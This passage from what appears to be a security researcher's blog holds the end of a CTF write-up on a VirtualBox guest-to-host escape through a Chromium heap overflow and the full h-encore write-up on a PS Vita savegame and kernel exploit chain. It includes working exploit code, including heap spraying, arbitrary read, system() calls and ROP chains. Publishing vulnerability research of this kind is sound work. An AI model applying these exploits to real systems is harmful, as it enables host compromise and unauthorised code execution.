Surprisingly, the code mentioned above was still able to leak our desired object even in v5.2.22! How is it possible? Was it not fixed properly? If we take a close look, we see that the allocated object has a size of 0x290 bytes, whereas the offset to the connection is at OFFSET_CONN_CLIENT, which is 0x248. That’s not really out-of-bounds!

msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]

Interestingly, this worked due to an uninitialized memory bug. Namely, the method svcGetBuffer() was requesting heap memory to store the message from guest. However, it didn’t clear the buffer. Hence, any API, that was returning back data of the message buffer, could be abused to leak valuable information of the heap to the guest. I assumed that Niklas knew about this bug, thus I decided to use it to solve the challenge. Indeed, a few weeks after the competition, a patch to this bug was pushed and was assigned CVE-2019-2446.

Heap Spraying

We can spray the heap with CRVBOXSVCBUFFER_t using alloc_buf() as follows:

bufs = []
for i in range(spray_num):
    bufs.append(alloc_buf(self.client, spray_len))

Empirically, I found out that by choosing spray_len = 0x30 and spray_num = 0x2000, their buffers will eventually be consecutive, and the buffer that pData is pointing to, is adjacent to an other CRVBOXSVCBUFFER_t.

Next, we want to make a hole in the allocations, such that we can occupy it with our evil message.

This is achieved by sending the command SHCRGL_GUEST_FN_WRITE_READ_BUFFERED to host, where hole_pos = spray_num - 0x10:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])

See the implementation of this command at src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp.

The First Overflow

Now that we have carefully set up the constellation of the heap, we are ready to allocate our message buffer and trigger the overflow as follows:

msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + 'aaaa'
        + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
        + pack("<I", 0)    # shader
        + pack("<I", 1)    # count
        + pack("<I", 0)    # hasNonLocalLen
        + pack("<I", 0x22) # pLocalLength[0]
        )
crmsg(self.client, msg, spray_len)

Notice that we send our message with exactly the same size as the one that has just been freed. Due to how the glibc heap works, it will hopefully take up exactly the same location. Moreover, notice that count = 1 and remember that only the last length can be arbitrarily large. Since there is only one element, obviously the first is also the last element.

Finally, let pLocalLength[0] = 0x22. This is small enough to only corrupt the ID and size fields (we don’t want to corrupt pData).

How is that calculated?

Our message is 0x30 bytes long
The offset of pString is at 0x28
glibc chunk header (64bit) is 0x10 bytes wide
Both uiId and uiSize are 32bit unsigned integers
pLocalLength[0] is subtracted by 2 in crUnpackExtendShaderSource()

Therefore, we need 0x30-0x28=8 bytes to reach the end of the message, 0x10 bytes to go over the chunk header, and 8 bytes more to overwrite uiId and uiSize. To compensate the subtraction, we must add 2 bytes more. Overall, this equals to 0x22 bytes.

Finding the Corruption

Recall, that the size field is a 32bit unsigned integer and that our chosen size is 0x30 bytes. Hence, this field will hold the value 0x0a0a0a30 after corruption (the three zero bytes have been replaced by the byte 0x0a).

Finding the corrupted ID is slightly more complicated and requires us to traverse the ID list to find out which of them disappeared. We do this by sending a SHCRGL_GUEST_FN_WRITE_BUFFER message to every ID as follows:

print("[*] Finding corrupted buffer...")

found = -1

for i in range(spray_num):
    if i != hole_pos:
        try:
            hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
        except IOError:
            print("[+] Found corrupted id: 0x%x" % bufs[i])
            found = bufs[i]
            break

if found < 0:
    exit("[-] Error could not find corrupted buffer.")

Finally we manually replace every \0 with a \n byte to match the ID of the corrupted buffer (forgive my python skills):

id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)

Now we have everything we need to make a second overflow, whose content we can finally control. Our ultimate goal is to overwrite the pData field and make it point to the CRConnection object that we have previously leaked.

The Second Overflow

Using new_id and size 0x0a0a0a30, we will now corrupt a second CRVBOXSVCBUFFER_t. Similar to the previous overflow, this works because these buffers are adjacent to each other. However, this time we overwrite it with our fake object that has ID 0x13371337, size 0x290 and a pointer to self.pConn.

try:
    fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
    hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
    print("[+] Exploit successful.")
except IOError:
    exit("[-] Exploit failed.")

Note that spray_len + 0x10 represents the offset (again we skip 0x10 bytes of the chunk header). After doing this, we can arbitrarily modify the content of the CRConnection object. As explained before, this ultimately enables us an arbitrary read primitive and allows us to call anything we want by replacing the Free() function pointer.

Arbitrary Read Primitive

When issuing a SHCRGL_GUEST_FN_READ command, the data from pHostBuffer will be sent back to guest. Using our custom 0x13371337 ID, we can overwrite this pointer and its corresponding size with custom ones. Then, we send the SHCRGL_GUEST_FN_READ message using the self.client2 client to trigger our arbitrary read (this is the client ID of the leaked CRConnection):

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF,   pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

Arbitrary Code Execution

Every CRConnection object has got function pointers Alloc(), Free(), etc. to store message buffers of the guest. Furthermore, they take their CRConnection object itself as the first argument. This is perfect as it can be be used to kick off a ROP chain for example, or simply call system() with arbitrary commands.

To do this, we overwrite the pointer at offset OFFSET_CONN_FREE and the content of our desired argument at offset 0 as follows:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])

Triggering Free() is really simple and only requires us to send any valid message to the host using self.client2.

Finding system()

We already know an address, namely crVBoxHGCMFree() . It is the function pointer that is stored in the Free() field. This subroutine is within the module VBoxOGLhostcrutil which also contains other stubs to libc. Therefore, we can easily calculate the address of system().

self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)

self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)

self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)

self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)

self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)

Capturing the Flag

At this point, we are only one step away from capturing the flag. The flag is stored in a text file at ~/Desktop/flag.txt. We can see its content by opening the file with any text editor or terminal. During the challenge, you could literally “see” the flag, as a short video was transmitted back to you after submitting the code. xubuntu doesn’t have geedit preinstalled, however a quick google search yield that it should have the text editor mousepad.

A little problem that occurred during the first submission is that it crashed the system. I quickly realized that we could not use a string longer than 16 bytes or so, since some pointer is located at this offset. Overwriting it with invalid content would result in a segmentation fault. Therefore, I did a dirty trick and shortened the file path twice, such that it could be opened with less characters:

p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")

Hurray, after 4-5h I was able to read the flag and was very excited to be the first to solve that challenge (even though it was remotely). Some hours later, the team Tea Delivers also succeeded in exploiting this cool bug, congrats to them.

Conclusion

This challenge was not really hard to solve if you had previously been working with it. As far as I know, this challenge could have been solved without any infoleak by setting up a better heap constellation where we could directly overflow into a CRConnection object and modify the cbHostBuffer field and finally enable an out-of-bounds read primitive. However under stress and excitement, I was not working very efficiently, and also because of laziness, I decided to use an additional bug to solve the challenge. Nevertheless, it was a lot of fun, because while there are a bunch of infoleaks in chromium (nearly every opcode could disclose stack or heap information), memory corruption bugs are more scarce, thus I was excited to exploit this one.

Last but not least, I would like to express that it was very easy to identify the issue after I knew that there was a bug in that code. I believe that I had also been looking at it, but deemed it to be unexploitable. Therefore, it is important that we look at code with this kind of mindset. If you believe that there exists bugs in any code, you will eventually find them. Hence, don’t be discouraged and don’t think “other people have also been intensively looking at it, I don’t think I’ll find anything”.

Thanks for reading and happy hacking!

Credits

niklasb - For his prior research and the challenge

h-encore: PS Vita Kernel Exploit

2018-09-11T00:00:00+00:00

h-encore, where h stands for hacks and homebrews, is the second public jailbreak for the PS Vita™ which supports the newest firmwares 3.65, 3.67 and 3.68. It allows you to make kernel- and user-modifications, change the clock speed, install plugins, run homebrews and much more.

Table of Contents
Introduction
Userland Exploit
Kernel Exploit
Sony’s Patch
Conclusion
Credits

Introduction

Welcome to my write-up of the h-encore exploit chain. In this write-up I want to introduce you the security measures of the PS Vita, explain how I found the vulnerabilities, how I exploited them and how I bypassed the measures by using modern techniques.
I hope that it is an interesting read for both beginners and experts, and for both people in the scene and out of the scene.

Userland Exploit

h-encore uses a different entry point than its predecessor HENkaku. Instead of a WebKit exploit, it is using a gamesave exploit. The reason for that is after firmware 3.30 or so, Sony introduced sceKernelInhibitLoadingModule() in their browser, which prevented us from loading additional modules. This limitation is crucial, since this was the only way we could get more syscalls (than the browser uses), as they are randomized at boot and only assigned to syscall slots if any user module imports them.

The reason why a gamesave exploit is possible on such a system is because games that were developed with an SDK 2.60 and lower were compiled as a statically linked executable, thus their loading address is always the same, namely 0x81000000, and they cannot be relocated to an other region. They also don’t have stack protection enabled by default, which means that if we can stack smash in such a game, we can happily do ROP.

Finding a gamesave exploit

Initially I have implemented the kernel exploit on top of a different gamesave exploit that I have found a few years ago. This game is however expensive and takes a while in-game until it can trigger the exploit. Hence it is not suitable for the public. To reach a bigger audience, I wanted to have a drm-free demo as user entry point, since they can be installed on any device using psvimgtools.
Looking for gamesave exploits is a boring process, you just fuzz gamesaves by writing random stuff at random locations until you get a crash (best bet is extending strings and hope that you can smash the stack), so I asked Freakler to help me on that. He then found a promising crash in the game bittersmile which was caused by a write instruction where the content and destination could be controlled.

Buffer Overflow

The bug relies on the parser of the bittersmile game. The gamesave is actually a text file and the game reads it line by line and copies them to a list of buffers. However it doesn’t validate the length, thus if we put the delimiter \n far away such that the line is longer than the buffer can hold, we get a classic buffer overflow.
If this buffer is on stack, we can make it overwrite the return address and straightly execute our ROP chain. However it is on the data section, but luckily for us, the content after the buffer is actually the list that contains destinations for other lines. This means that if we overflow into the list and redirect the buffer, we can copy the next line to wherever we want and therefore enable us an arbitrary write primitive (see generate.py).

Partial ASLR

It seems like ASLR is only enabled for executables/modules. Normally this is not an issue, since the executable is the first thing allocated and its randomization will propagate and affect subsequent allocations (for example thread stacks).
But as our executable is statically loaded, all other allocations will be deterministic. Hence we can choose our destination address to be in a thread stack and overwrite a return address.

Return Oriented Programming

The PS Vita prevents us from executing code in data sections, thus we must apply a technique called “Return Oriented Programming” or briefly ROP to run code. The technique is clever: since we can only execute code that is in a text section, we will simply use existing code to perform whatever we want. How does this work?
When we call subroutines, the link register lr, holding the return address, is pushed onto stack on enter, and popped from it on exit in order to return back to the point where it was called.
Therefore, if we manage to overwrite the return address, we can control the program counter pc and make it return to anywhere we want. If this “somewhere” consists of some useful instructions which end in a pop {..., pc}, we can again control the return address and point to the next “gadget”. By induction this can be continued forever (until we run out of stack) and that’s what we call a ROP chain.

Writing ROP chains

Static ROP chains can be produced using any scripting language or even manually with a hex editor, as it is only a matter of chaining gadgets together. Normally one would only write a little chain to call system() or mprotect(). Unfortunately it is prohibited to allocate executable memory in an unprivileged process, consequently whatever we want to achieve must be implemented entirely in ROP.
I decided to use the GNU Assembler to compile my ROP chain, since it is flexible and allows us to precisely set up data. It is also possible to define macros that can be used to implement certain functionalities by smaller ROP chains (see macros.S).

These macros allow us to express ROP code in a simple and readable fashion. Consider this code in C:

  // Load stage2
  system_dat_fd = sceIoOpen(savedata0_system_dat_path, SCE_O_RDONLY, 0);
  sceIoRead(system_dat_fd, STAGE2_ADDRESS - (0x48 + 0x4 + _end - _start), STAGE2_SIZE);
  sceIoClose(system_dat_fd);

Using macros, it can be implemented as follows in ROP. This is a code snippet of stage1 which loads stage2 to a bigger stack (see stage1.S):

  // Load stage2
  call_vvv sceIoOpen,  savedata0_system_dat_path, SCE_O_RDONLY, 0
  store_rv ret,        system_dat_fd
  call_lvv sceIoRead,  system_dat_fd, STAGE2_ADDRESS - (0x48 + 0x4 + _end - _start), STAGE2_SIZE
  call_l   sceIoClose, system_dat_fd

where l means that the argument will be loaded/dereferenced, v that it is a value/constant and r that it is the return value (in ARM the return value is written to the register r0).

Kernel Exploit

The kernel vulnerability, that is being used in h-encore, is within the SceNgs module, an audio engine designed for games to make sound effects. The vulnerability has been discovered on the 2018-02-04 and was successfully exploited four days later.

Design Flaws

While looking at the SceNgs module I came across the syscalls sceNgsVoiceDefGet*() which returned “encrypted” kernel pointers that were xor’ed with the value 0x9e28dcce. This is a very bad design and instead of this, Sony should have returned an UID or so. After a quick search for this value, I learned that it was used by the syscalls sceNgsRackGetRequiredMemorySize() and sceNgsRackInit(). One of their parameters is a struct of type SceNgsRackDescription that requires the field pVoiceDefn be set to any of these encrypted pointers.

Below are the said structures (uninteresting fields have been omitted):

typedef struct SceNgsVoiceDefinition {
  SceUInt32 uMagic;                 // 0x00
  SceUInt32 uFlags;                 // 0x04
  SceUInt32 uSize;                  // 0x08
  SceInt32  nSomeOffset;            // 0x0c
  // ...
  SceInt32  nVoicePresetsOffset;    // 0x30
  SceUInt32 uNumVoicePresets;       // 0x34
  // ...
} SceNgsVoiceDefinition;            // 0x40

typedef struct SceNgsRackDescription {
  const struct SceNgsVoiceDefinition *pVoiceDefn;
  // ...
} SceNgsRackDescription;

And here is a pseudo-code snippet of how these structures are read:

  SceNgsRackDescription rackDesc;
  SceNgsVoiceDefinition voiceDefn;
  // ...
  if (!copyin(&rackDesc, pRackDesc, sizeof(SceNgsRackDescription), 1)) {
    goto error_invalid_param;
  }
  if (rackDesc.pVoiceDefn == NULL) {
    goto error_invalid_param;
  }
  rackDesc.pVoiceDefn ^= SCE_NGS_VOICE_DEFINITION_XOR;
  if (rackDesc.pVoiceDefn == NULL) {
    goto error_invalid_param;
  }
  if (!is_valid_vaddr(rackDesc.pVoiceDefn, sizeof(SceNgsVoiceDefinition))) {
    goto error_invalid_param;
  }
  if (!copyin(&voiceDefn, rackDesc.pVoiceDefn, sizeof(SceNgsVoiceDefinition), 0)) {
    goto error_invalid_param;
  }
  if (voiceDefn.uMagic != SCE_NGS_VOICE_DEFINITION_MAGIC) {
    goto error_invalid_param;
  }
  // ...
  error_invalid_param:
    return SCE_NGS_ERROR_INVALID_PARAM;

As we can see, pRackDesc is copied from user to kernel, then the field pVoiceDefn is decrypted. It is even checking if the kernel pointer is valid, which is to our advantage as we will see later. Finally, if all fields are valid, it will continue working with voiceDefn.
Since we control pRackDesc->pVoiceDefn and we know the xor value, it is possible to pass a fake voice definition, provided it is in kernel memory. The reason for that is the PS Vita has got SMEP/SMAP equivalent mitigation measures that prevent the kernel from implicitly reading/writing user memory or executing user executable code.

Insufficient Checkings

The rack syscall is really big and almost all fields in the voice definition are uninteresting and cannot be exploited, except nVoicePresetsOffset and uNumVoicePresets. They hold information to a list of presets of the following type (note that all offsets are relative to the preset and the offset to the preset is relative to the voice definition):

typedef struct SceNgsVoicePreset {
  SceInt32  nNameOffset;
  SceUInt32 uNameLength;
  SceInt32  nPresetDataOffset;
  SceUInt32 uSizePresetData;
  SceInt32  nBypassFlagsOffset;
  SceUInt32 uNumBypassFlags;
} SceNgsVoicePreset;

Below is an interesting pseudo-code snippet of the gigantic syscall:

  void *SceNgsBlock;
  SceNgsVoicePreset *presets;
  // ...
  // SceNgsBlock is allocated with a size determined by all presets and some other fields
  // ...
  SceNgsBlock += 0x148;
  SceNgsBlock += (voiceDefn.nNumVoicePresets * sizeof(SceNgsVoicePreset));
  presets = (SceNgsVoicePreset *)((char *)voiceDefn + voiceDefn->nVoicePresetsOffset);

  for (size_t i = 0; i < voiceDefn->uNumVoicePresets; i++) {
    // ...
    if (presets[i].nPresetDataOffset != 0 &&
        presets[i].uSizePresetData != 0) {
      memcpy(SceNgsBlock, &presets[i] + presets[i].nPresetDataOffset, presets[i].uSizePresetData);
      SceNgsBlock += presets[i].uSizePresetData;
    }
    // ...
  }

It is important to mention that no check on uSizePresetData is being made when summing up the preset sizes. Therefore a possible attack is to use a negative size on the last preset such that the resulting allocation size would be smaller than intended. This is a heap overflow primitive that we gain. For example having presets with size 0x1000, 0x1000 and -0x1000 will result in an allocation of size 0x1000 only, and while copying, the second preset should overflow the buffer.
The problem here is obviously how to stop memcpy() on the negative size, since a negative size as unsigned integer is actually very large (-1 == 0xFFFFFFFF).
I was inspired by a similar technique explained by CTurt who proposed using a different thread to stop the overflow. However before I could try this, I had already made a proof of concept to confirm the heap overflow and to my surprise, it did overflow, but the third preset was not fully copied and therefore did not cause a segmentation fault.

memcpy, or more like memecpy

Yes, Sony failed to implement a correct memcpy. Instead of copying a huge load of data when getting a negative size, it would simply copy a few bytes and terminate. Seriously I would expect bugs anywhere but in the most basic libc function. Their wrong implementation is available in both userland and kernel, maybe even in TrustZone.

Here is the pseudo-code of their implementation. I assume that it was written in assembly rather than C code, since it contains highly optimized instructions.

void memcpy(void *dst, const void *src, size_t len) {
  void *end;

  if (len >= 32) {
    end = dst + len;                         // [1]
    while ((uintptr_t)dst & 3) {
      *(uint8_t *)dst = *(uint8_t *)src;
      src += sizeof(uint8_t);
      dst += sizeof(uint8_t);
      len -= sizeof(uint8_t);
    }
    while ((uintptr_t)dst & 31) {
      *(uint32_t *)dst = *(uint32_t *)src;
      src += sizeof(uint32_t);
      dst += sizeof(uint32_t);
      len -= sizeof(uint32_t);
    }
    if (end >= dst + 32) {                   // [2]
      // vectorized copy
      // ...
    }
  }
  while ((int32_t)len >= sizeof(uint32_t)) { // [3]
    *(uint32_t *)dst = *(uint32_t *)src;
    src += sizeof(uint32_t);
    dst += sizeof(uint32_t);
    len -= sizeof(uint32_t);
  }
  if (len & 2) {
    *(uint16_t *)dst = *(uint16_t *)src;
    src += sizeof(uint16_t);
    dst += sizeof(uint16_t);
  }
  if (len & 1) {
    *(uint8_t *)dst = *(uint8_t *)src;
  }
}

The first bug is at [1]. If len is negative, the addition with dst will yield a value smaller than dst due to an integer overflow and as a consequence, the comparison at [2] will result in false, no matter if it is a signed or unsigned comparison, and thus it believes that there are less than 32 bytes to copy.
The second bug is at [3] where the length is compared as signed integer. Hence a negative length will simply bypass the copy loop.

Thanks to these bugs we can exploit the previous vulnerability differently by using a negative length to iterate backwards and therefore enable an out-of-bounds write primitive.

Exploitation

Bypassing SMAP

Our goal is to control the content of pVoiceDefn, however since the kernel cannot implicitly read user memory, we need to plant our data in kernel memory. This is an easy task: because of SMAP, syscalls use copyin() to copy user buffers to kernel stack to later access them. On returning to user the kernel stack is not cleared due to performance reasons, thus whatever data that was copied from user will remain there. A potential syscall that we can use for that purpose is sceIoDevctl() which can copy upto 0x3ff bytes to kernel stack (what this syscall is actually doing is not relevant and we can just pass some invalid inputs to make it return error). This is big enough to hold our voice definition and more importantly it is deeply located inside the kernel stack such that subsequent syscalls cannot corrupt it. But where is the kernel stack?

Getting the kernel stack base address

The is_valid_vaddr() check is useful because in case we pass an invalid kernel pointer, it will not cause a segmentation fault but return an error. Thanks to this we can set up our fake voice definition and plant it in kernel stack, then find its address by iterating through the kernel memory using sceNgsRackGetRequiredMemorySize():

int ret = 0;
uint32_t kstack_base = KSTACK_BASE_START;

do {
  rack_desc.pVoiceDefn = (struct SceNgsVoiceDefinition *)((kstack_base + KSTACK_DEVCTL_INDATA_OFFSET) ^ SCE_NGS_VOICE_DEFINITION_XOR);
  ret = sceNgsRackGetRequiredMemorySize(sys_handle, &rack_desc, &buffer_info.size);
  if (ret == SCE_NGS_ERROR_INVALID_PARAM)
    kstack_base += KSTACK_BASE_STEP;
} while (ret == SCE_NGS_ERROR_INVALID_PARAM);

Implementing a conditional loop in ROP

Writing ROP is is not as simple as writing assembly. One instruction may only be implemented with more than a dozen of gadgets. Therefore we would like to keep our code as simple as possible and eliminate the redundant addition and condition within the loop:

int ret = 0;
uint32_t kstack_base = KSTACK_BASE_START - KSTACK_BASE_STEP + KSTACK_DEVCTL_INDATA_OFFSET;

do {
  kstack_base += KSTACK_BASE_STEP;
  rack_desc.pVoiceDefn = (struct SceNgsVoiceDefinition *)(kstack_base ^ SCE_NGS_VOICE_DEFINITION_XOR);
  ret = sceNgsRackGetRequiredMemorySize(sys_handle, &rack_desc, &buffer_info.size);
} while (ret == SCE_NGS_ERROR_INVALID_PARAM);

kstack_base -= KSTACK_DEVCTL_INDATA_OFFSET;

Now if we want to implement this in ROP we can of course not use branch instructions, as they set the program counter, not the stack pointer. What we need is a way to conditionally move the stack pointer like this:

if (ret == SCE_NGS_ERROR_INVALID_PARAM)
  sp = loop_start;
else
  sp = loop_end;

In ARM there exists the it (if-then) instruction which allows us to conditionally move a register like it eq ; moveq r0, r1. Unfortunately there is no such gadget available in our executable. However, we have got this gadget here:

int cmp_eq(int r0, int r1) {
  if (r0 == r1)
    return 1;
  else
    return 0;
}

Let’s see how we can use it to realize our instruction by exploiting the zero property and identity property of multiplication. Previously we wanted to set sp to either loop_start or loop_end - this time we use a temporary register and set it to either “something” or “nothing”:

if (ret == SCE_NGS_ERROR_INVALID_PARAM)
  tmp = loop_start - loop_end;
else
  tmp = 0;
sp = tmp + loop_end;

The mentioned properties say that the product of any number times zero is zero and the product of any number times one is itself, therefore if we set tmp as the product of cmp_eq(ret, SCE_NGS_ERROR_INVALID_PARAM) times loop_start - loop_end, we get our desired logic:

sp = (cmp_eq(ret, SCE_NGS_ERROR_INVALID_PARAM) * (loop_start - loop_end)) + loop_end;

Note that this is only one of the few possibilities and we could also have realized it by exploiting the properties of logical conjunction:

sp = ((cmp_eq(ret, SCE_NGS_ERROR_INVALID_PARAM) - 1) & (loop_end - loop_start)) + loop_start;

Finally in ROP it looks like this (it’s cute but check out mul_add_rvv):

  // Iterate through kernel memory
  loop_start:
    // kstack_base += KSTACK_BASE_STEP
    load_add_store kstack_base, kstack_base, KSTACK_BASE_STEP

    // rack_desc.pVoiceDefn = kstack_base ^ SCE_NGS_VOICE_DEFINITION_XOR
    xor_rv   ret, SCE_NGS_VOICE_DEFINITION_XOR
    store_rv ret, rack_desc + 0x00

    // Call sceNgsRackGetRequiredMemorySize on the xor'ed kstack_base
    load_call_lvv_2 sceNgsRackGetRequiredMemorySize, sys_handle, rack_desc, buffer_info + 0x04

    // Compare ret with SCE_NGS_ERROR_INVALID_PARAM and return 1 if equal, else 0
    cmp_eq_rv ret, SCE_NGS_ERROR_INVALID_PARAM

    // ret = ret * (loop_start - loop_end) + loop_end
    mul_add_rvv ret, loop_start - loop_end, loop_end

    // Stack pivot
    store_rv         ret, ldm_data_r0 + 0x0c
    set_r0_r2_ip_sp_lr_pc ldm_data_r0
  loop_end:

Note that we are using the macro load_call_lvv_2 here instead of load_call_lvv. The difference is that the second version skips some words before the call:

  .word add_sp_14_pop_pc                   // pc
  .word 0xDEADBEEF                         // dummy
  .word 0xDEADBEEF                         // dummy
  .word 0xDEADBEEF                         // dummy
  .word 0xDEADBEEF                         // dummy
  .word 0xDEADBEEF                         // dummy

This is necessary because when calling subroutines in ROP, the stack gets corrupted due to the subroutine’s stack allocations such as for the prologue, where callee saved registers are pushed onto stack (side mark: if you call a syscall, then the user stack remains untouched). Normally this does not matter, but in a loop we want to reuse the gadgets. In our case the stack is corrupted by push.w {r4, r5, r6, r7, r8, lr} in sceNgsRackGetRequiredMemorySize(), since it is to be exact only a wrapper that calls the actual syscall sceNgsRackGetRequiredMemorySizeInternal().

Defeating Kernel ASLR

We have now only partially defeated kernel ASLR by learning the kernel stack base address. However to build a kernel ROP chain which we will later use, we must know at least a base address of a kernel module. This is because we cannot implicitly execute user executable memory in kernel, thus our ROP chain cannot consist of user gadgets.
While reverse engineering the codepath of the rack syscall, I found something bizarre: It is using some fields in the SceNgsBlock header in order to store temporary variables. Some of those are the parameters for a copyout()!
This means that we can easily enable an arbitrary kernel read primitive by using our out-of-bounds exploit to overwrite these parameters (see stage2.S):

  // Set presets information in voice definition
  store_vv PRESET_LIST_OFFSET, voice_def_buf + 0x30
  store_vv 2,                  voice_def_buf + 0x34

  // Set presets
  set_preset 0, 0,                   -(0x148 + 2 * 0x18) + COPYOUT_PARAMS_OFFSET
  set_preset 1, FAKE_COPYOUT_OFFSET, FAKE_COPYOUT_SIZE

  // Overwrite copyout's dst, src and len
  call_vvv memset,      voice_def_buf + FAKE_COPYOUT_OFFSET, 0, FAKE_COPYOUT_SIZE
  store_vv sysmem_base, voice_def_buf + FAKE_COPYOUT_OFFSET + 0x04 // dst
  add_lv   kstack_base, KSTACK_SYSMEM_OFFSET
  store_rv ret,         voice_def_buf + FAKE_COPYOUT_OFFSET + 0x08 // src
  store_vv 4,           voice_def_buf + FAKE_COPYOUT_OFFSET + 0x1c // len

  // Trigger exploit
  trigger_exploit

  // Get SceSysmem base address
  load_add_store sysmem_base, sysmem_base, SCE_SYSMEM_OFFSET

Note how the first preset is used to move the destination pointer backwards and how the second is used to overwrite the target with controlled data.

Choosing an OOB target

My first idea is to overwrite a function pointer of any object whose invocation we can control by some syscall. Our SceNgsBlock is allocated with ksceKernelAllocMemBlock(), hence our target must also be allocated the same way such that their memory blocks may be consecutive. I did not find anything at that time, so I asked xyz for some advice. He reminded me that user threads possess both a user and kernel stack, and since the kernel stack is allocated with ksceKernelAllocMemBlock(), aiming at it is possible.

Controlling the OOB write

I spawned alot of threads and read their kernel stack base addresses to see if they were close to the SceNgsBlock and noticed a few things:

Kernel stacks are 0x1000 bytes big and are located at odd addresses like 0xXXXX1000, 0xXXXX3000, 0xXXXX5000, etc..
When the range 0xXXXX4000-0xXXXX6000 for example is free, kernel stacks choose the upper part at 0xXXXX5000.
The most recently used block is taken if we free a block and allocate an other one with the same size.
Blocks will eventually be consecutive.

Remember that our out-of-bounds write can manipulate anything that has a lower address than our block, therefore we want to bring the kernel stack behind the SceNgsBlock. A strategy to achieve this is as follows:

Spray alot of blocks with a size of 0x2000.
After many allocations the blocks will eventually become consecutive (and even).
Free the second last block to create a hole.
Spawn a thread to fill this hole with the kernel stack.
Free the last block and allocate our evil rack.

The spawned thread (let’s call it thread 2 and the current thread 1) must now simply call any syscall. This syscall should not terminate before its stack has been overwritten. To accomplish that we can for example acquire a semaphore in thread 2, overwrite the kernel stack in thread 1, and finally release the semaphore in thread 1 to make the acquire syscall terminate and trigger kernel ROP execution on midway.
This is however more effort than actually needed and can be done in a simpler fashion by using the syscall sceKernelDelayThread() to make the thread wait a a little bit. I chose 100ms which is enough time for thread 1 to hijack the kernel stack of thread 2 before it returns back to user.
The reason why it works is because the delay syscall calls some subroutines which make the stack grow (callee saved registers and the return address are pushed onto stack), then after 100ms the stack will shrink back and data will be popped from the stack. If we manage to overwrite the return address between these two phases, we can execute our kernel ROP chain. Note that since the stack grows from high to low and we are attacking from above, we don’t need to deal with stack cookies.

Kernel ROP Execution

As the return address that we have overwritten is very near the stack bottom (because the syscall sceKernelDelayThread() doesn’t require alot of stack), we don’t have much room for our ROP chain. Therefore we have to plant our actual kernel ROP chain somewhere else, and stack pivot to it. Just as how we have planted the fake voice definition into kernel stack, we can use sceIoDevctl() to plant our kernel ROP chain. As we are doing this in the same thread, we don’t need to know its address and can simply move the stack pointer backwards from kstack_base + 0x1000 - 0x64 to kstack_base + 0x6f8 as follows (see krop.S):

  .set difference, (KSTACK_SIZE - OVERWRITE_SIZE) - KSTACK_DEVCTL_INDATA_OFFSET
  push 1, SceSysmem_pop_r3_r4_r5_r6_r7_pc             // pc
  push 1, SceSysmem_pop_r3_pc                         // r3
  push 1, SceSysmem_sub_r1_r1_r3_bx_lr                // r4
  push 9, 0xDEADBEEF                                  // r5
  push 1, SceSysmem_pop_pc                            // r6
  push 9, 0xDEADBEEF                                  // r7
  push 1, SceSysmem_add_r1_sp_bc_mov_r2_r6_blx_r3     // pc
  push 0, 0x1c + 0xbc + difference                    // r3
  push 1, SceSysmem_blx_r4_pop_r4_pc                  // pc
  push 9, 0xDEADBEEF                                  // r4
  push 1, SceSysmem_mov_sp_r1_blx_r2                  // pc

Note that push is a macro that takes a base as first argument which says what type the next argument has, where 0: constant, 1: SceSysmem gadget, 2: kernel stack (for RW operations) and 9: dummy (won't be written).

The actual kernel ROP chain then allocates two RW memory blocks, copies the compressed kernel payload to the first block and stores the decompressed payload in the second block. Finally, it marks the second block as executable, flushes caches and executes it.

Post-exploitation

The task of the kernel payload is to fix the ngs module, since it would crash upon exiting the process. This is because we were not supposed to use negative lengths and the rack syscall would behave differently. I did not figure out what was happening, as the function was way to big to fully understand it.
After stabilizing the kernel, it installs some custom syscalls and signature patches such that it can launch the bootstrap menu. This will then install and load taiHEN to apply patches to the system and allow us to run homebrews, plugins and apply other mods and tweaks.

Sony’s Patch

A firmware update has been released on 2018-09-11, 72 days after release of h-encore, which patched the kernel exploit by using the constants xored with 0x9e28dcce for the voice definitions. An arbitrary kernel pointer can therefore not be passed anymore. However the memcpy bug and the user exploit are still unpatched. I decided not to leave the memcpy part out of the write-up, as I don’t think there is any other bug that relies on it.

Conclusion

Sony actually did a great job on this console, if compared to their other products, and it was only bad luck that these bugs were coincidentally at the wrong places. Finding and analyzing them was interesting and a good learning experience for me.
Although the vulnerabilities were easy to exploit, bypassing their mitigations was challenging, especially because I had not written any ROP chains before and never that huge.
I have also enjoyed working on this write-up and I hope that I can one day finish my second exploit chain and present that one to you.
Meanwhile I will be looking at the PS4 kernel :)

Credits

